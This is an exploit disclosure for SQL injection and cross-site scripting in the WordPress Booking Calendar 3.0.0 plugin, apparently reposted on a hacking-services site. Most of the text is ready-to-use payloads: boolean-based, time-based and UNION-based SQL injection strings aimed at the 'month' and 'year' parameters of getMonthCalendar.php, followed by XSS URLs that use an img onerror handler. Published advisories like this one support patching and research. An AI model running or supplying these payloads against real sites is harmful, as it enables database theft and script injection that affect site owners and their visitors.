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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Wordpress Plugin Booking Calendar 3.0.0 - SQL Injection / Cross-Site Scripting
# Dork: N/A
# Date: 26.05.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor: Wachipi
# Vendor Homepage: https://codecanyon.net/item/wp-booking-calendar/4639530
# Version: 3.0.0
# Category: Webapps
# Tested on: Kali linux
# Description : An attacker can perform attacks via calendar ajax queries.
However, this plugin is fully PHP-enabled. You can run SQL query with "month" and "year" parameters.
These parameters are also suitable for XSS attacks.
All PHP queries for which these parameters work have the same vulnerable.

====================================================
# "fillEventsPopup.php, searchEvents.php, getEvent.php, getMonthCalendar.php" have the same vulnerable.

# PoC : SQLi :
# GET /BOOKING_WP/wp-content/plugins/wp-booking-calendar/public/ajax/getMonthCalendar.php?month=4&year=2018&calendar_id=1&publickey=6LcDyOASAAAAACsEVY6G4Yo1BqxCGW15S15mb36-%20&wpml_lang=

# Parameter: month (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: year=2018&month=5' AND 7958=7958 AND 'FXnO'='FXnO&calendar_id=1

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: year=2018&month=5' AND SLEEP(5) AND 'MmZz'='MmZz&calendar_id=1

    Type: UNION query
    Title: MySQL UNION query (NULL) - 29 columns
    Payload: year=2018&month=5' UNION ALL SELECT NULL,NULL,CONCAT(0x71786a7171,0x424e507748695862436e774c4a4d664a7751424c537678554656465a464b7074685051527676756e,0x7178707071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&calendar_id=1

Parameter: year (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: year=-8454' OR 7997=7997#&month=5&calendar_id=14&pag=1

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: year=2018' AND SLEEP(5)-- uTJs&month=5&calendar_id=14&pag=1

    Type: UNION query
    Title: MySQL UNION query (NULL) - 29 columns
    Payload: year=2018' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71786a7171,0x7766694a50504a425a6e635a564b5172674c745770414e4f46494977475a44626b416a6c797a674b,0x7178707071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&month=5&calendar_id=1

====================================================

# PoC : XSS :

Payload(year) : http://www.site.com/BOOKING_WP/wp-content/plugins/wp-booking-calendar/public/ajax/getMonthCalendar.php?month=%3E%27%3E%22%3E%3Cimg%20src=x%20onerror=alert%280%29%3E&year=2018&calendar_id=1&publickey=6LcDyOASAAAAACsEVY6G4Yo1BqxCGW15S15mb36-%20&wpml_lang=

Payload(month) : http://www.site.com/BOOKING_WP/wp-content/plugins/wp-booking-calendar/public/ajax/getMonthCalendar.php?month=4&year=%3E%27%3E%22%3E%3Cimg%20src=x%20onerror=alert%280%29%3E&calendar_id=1&publickey=6LcDyOASAAAAACsEVY6G4Yo1BqxCGW15S15mb36-%20&wpml_lang=